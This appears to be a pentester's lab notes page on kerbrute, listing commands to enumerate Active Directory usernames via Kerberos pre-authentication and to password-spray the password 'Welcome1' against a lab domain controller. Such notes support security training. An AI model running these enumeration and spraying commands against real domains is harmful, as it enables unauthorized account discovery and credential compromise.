# kerbrute

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.

```
sudo cp kerbrute_linux_amd64 /usr/local/bin/kerbrute
```

{% code overflow="wrap" %}
```
cd ~/kerbrute/dist

kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users

./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
```
{% endcode %}

```
# It will enumerate available usernames
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FKdHQ560tq4Xnqpni81Tl%2Fimage.png?alt=media&#x26;token=b5f989c6-e691-468c-a586-574d86219cc4" alt=""><figcaption></figcaption></figure>

<pre data-overflow="wrap"><code><strong># This will password spray the pass "Welcome1" with the users.txt
</strong><strong># You can make a user txt file with enum4linux
</strong>kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1
</code></pre>
